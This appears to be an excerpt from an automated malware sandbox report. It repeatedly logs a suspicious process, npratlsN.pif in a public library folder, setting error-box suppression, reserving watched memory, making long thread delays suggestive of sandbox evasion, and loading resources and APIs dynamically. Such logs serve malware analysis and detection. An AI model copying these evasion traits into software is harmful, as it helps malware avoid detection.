              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 29A50000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 2B800000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 2B530000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 212E0000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 21780000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 216A0000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 2BC30000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 2BE90000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: 2BCD0000 memory reserve | memory write watch
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,10_2_004019F0
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599890Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599781Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599671Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599562Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599453Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599343Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599234Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599124Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599015Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598905Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598796Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598687Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598577Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598468Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598359Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598249Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598137Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598031Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597921Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597812Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597703Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597593Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597484Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597375Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597265Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597156Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597046Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596937Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596828Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596718Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596609Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596500Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596390Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596281Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596145Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595928Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595797Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595687Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595578Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595468Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595359Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595250Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595139Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595031Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594921Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594812Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594703Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594588Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594477Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594369Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599734
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599625
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599516
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599407
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599282
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599172
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599063
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598938
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598813
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598688
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598563
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598453
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598344
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598219
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598110
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597985
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597860
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597735
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597594
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597466
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597354
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597244
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597135
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597022
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596860
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596750
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596639
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596494
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596321
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596178
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596032
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595859
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595730
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595571
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595374
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594932
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594741
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594609
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594437
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594254
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594059
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593755
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593611
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593489
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593364
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593239
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593114
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592989
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592849
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592679
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592567
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592443
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592318
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592193
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592068
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591943
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591818
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591693
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591568
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591443
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591318
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591193
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599890
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599781
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599672
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599562
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599453
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599343
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599234
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599125
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599015
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598906
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598796
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598687
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598578
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598467
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598359
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598250
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598140
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598031
